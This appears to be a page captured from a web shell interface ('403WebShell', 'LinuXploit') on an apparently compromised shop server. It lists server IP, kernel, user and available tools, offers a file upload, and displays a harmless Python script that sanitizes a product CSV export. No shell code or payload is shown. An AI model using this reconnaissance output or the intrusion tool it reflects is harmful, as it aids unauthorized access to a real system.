403WebShell

403Webshell

Server IP : 144.76.1.235 / Your IP : 216.73.216.244
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux einkaufsring.com 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.16
Disable Function : NONE
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /var/www/shop.einkaufsring.com/

Upload File :

[ Back ]

Current File : /var/www/shop.einkaufsring.com//sanitize.py

python3 - <<'PY'
import csv, sys, os, re, unicodedata

src = "/var/www/shop.einkaufsring.com/var/import/products/Artikelexport.csv"
dst = "/tmp/Artikelexport_sanitized.csv"

# read bytes -> strip UTF-8 BOM if present
raw = open(src, 'rb').read()
if raw.startswith(b'\xef\xbb\xbf'):
    raw = raw[3:]
text = raw.decode('utf-8', errors='replace').replace('\r\n','\n').replace('\r','\n')

def clean_header(h):
    if h is None: return ''
    # normalize unicode spaces, remove control chars, trim quotes/spaces
    h = ''.join(' ' if unicodedata.category(c) in ('Zs','Zl','Zp') else c for c in h)
    h = re.sub(r'[\u0000-\u001F\u007F]', '', h)
    return h.strip(' \t\n\r\x0b\x0c"')

lines = text.split('\n')
r = csv.reader(lines)
rows = list(r)
if not rows: 
    print("Empty CSV", file=sys.stderr); sys.exit(2)

header = [clean_header(h) for h in rows[0]]
# drop duplicates, keep first
seen = set(); new_header = []; idx_map = []
for i,h in enumerate(header):
    k = h.lower()
    if not k or k in seen: 
        continue
    seen.add(k); new_header.append(h); idx_map.append(i)

# drop visibility column(s)
keep_idx = [i for i,h in enumerate(new_header) if h.lower()!="visibility"]
header2 = [new_header[i] for i in keep_idx]

# ensure product_online
if "product_online" not in [h.lower() for h in header2]:
    header2.append("product_online")

# ensure url_key
if "url_key" not in [h.lower() for h in header2]:
    header2.append("url_key")

# helper maps
lower_index = {h.lower(): j for j,h in enumerate(header2)}

def slugify(s):
    if not s: return "item"
    t = unicodedata.normalize('NFKD', s)
    t = t.encode('ascii','ignore').decode('ascii')
    t = re.sub(r'[^a-zA-Z0-9]+','-', t).strip('-').lower()
    return t or 'item'

out = []
out.append(header2)
seen_urls = set()

for rawrow in rows[1:]:
    if not any(rawrow): 
        continue
    # row projected through first de-dup
    row1 = [rawrow[i] if i<len(rawrow) else '' for i in idx_map]
    # drop visibility
    row2 = [row1[i] for i in keep_idx]
    row2 += [''] * (len(header2)-len(row2))

    # product_online -> 1
    row2[lower_index["product_online"]] = '1'

    # url_key -> ensure exists & unique
    sku = row2[lower_index.get("sku", -1)] if lower_index.get("sku",-1) >= 0 else ''
    name = row2[lower_index.get("name",-1)] if lower_index.get("name",-1) >= 0 else ''
    url_idx = lower_index["url_key"]
    url = (row2[url_idx] or '').strip()
    if not url:
        base = slugify(name or sku)
        cand = base + (('-' + sku.lower()) if sku else '')
    else:
        cand = slugify(url)
    u = cand; n=1
    while u in seen_urls:
        n += 1; u = f"{cand}-{n}"
    seen_urls.add(u)
    row2[url_idx] = u

    out.append(row2)

with open(dst, 'w', newline='', encoding='utf-8') as g:
    csv.writer(g).writerows(out)

print(dst)
PY

Youez - 2016 - github.com/yon3zu
LinuXploit